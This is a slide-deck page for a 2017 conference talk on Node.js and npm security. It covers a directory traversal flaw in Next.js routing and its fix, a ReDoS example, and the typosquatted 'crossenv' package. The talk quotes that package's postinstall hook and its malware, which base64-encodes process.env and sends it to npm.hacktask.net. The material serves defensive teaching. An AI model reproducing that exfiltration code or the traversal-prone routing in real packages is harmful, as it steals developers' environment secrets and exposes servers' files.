Upgrade to Pro — share decks privately, control downloads, hide ads and more …

The State of Node.js Security, at Node.js Interactive 2017

Tim Kadlec
October 05, 2017

The State of Node.js Security, at Node.js Interactive 2017

The Node ecosystem is thriving. But the more popular an ecosystem, the more interesting it looks to attackers. Let's look at the current state of security in Node. We'll talk about some of the interesting security improvements in Node in the past year. Drawing on original research, we'll also look at the frequency of vulnerabilities in npm packages, which types of vulnerabilities are the most frequent and the roles that enterprises, package owners and package managers all play in keeping Node.js secure.

Tim Kadlec

October 05, 2017
Tweet

More Decks by Tim Kadlec

Other Decks in Technology

Transcript

  1. 1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site

    Scripting (XSS) 4 Malicious Packages 5 Regular Expression Denial of Service
  2. defineRoutes () { const routes = { /* ... */

    '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }
  3. defineRoutes () { const routes = { /* ... */

    '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }
  4. defineRoutes () { const routes = { /* ... */

    '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }
  5. export function serveStatic (req, res, path) { return new Promise((resolve,

    reject) => { send(req, path) .on('directory', () => { err.code = 'ENOENT' reject(err) }) .on('error', reject) .pipe(res) .on('finish', resolve) }) }
  6. isServeableUrl (path) { const resolved = resolve(path) if ( resolved.indexOf(join(this.dir,

    this.dist) + sep) !== 0 && resolved.indexOf(join(this.dir, 'static') + sep) !== 0 ) { // Seems like the user is trying to traverse the filesystem. return false } return true }
  7. { "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set

    and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds <[email protected]> (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }
  8. { "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set

    and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds <[email protected]> (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }
  9. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  10. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  11. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  12. 1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site

    Scripting (XSS) 4 Malicious Packages 5 Regular Expression Denial of Service
  13. String Number of C’s Number of Steps ACCCX 3 38

    ACCCCX 4 71 ACCCCCX 5 136 ACCCCCCCCCCCCCCX 14 65,553
  14. YOU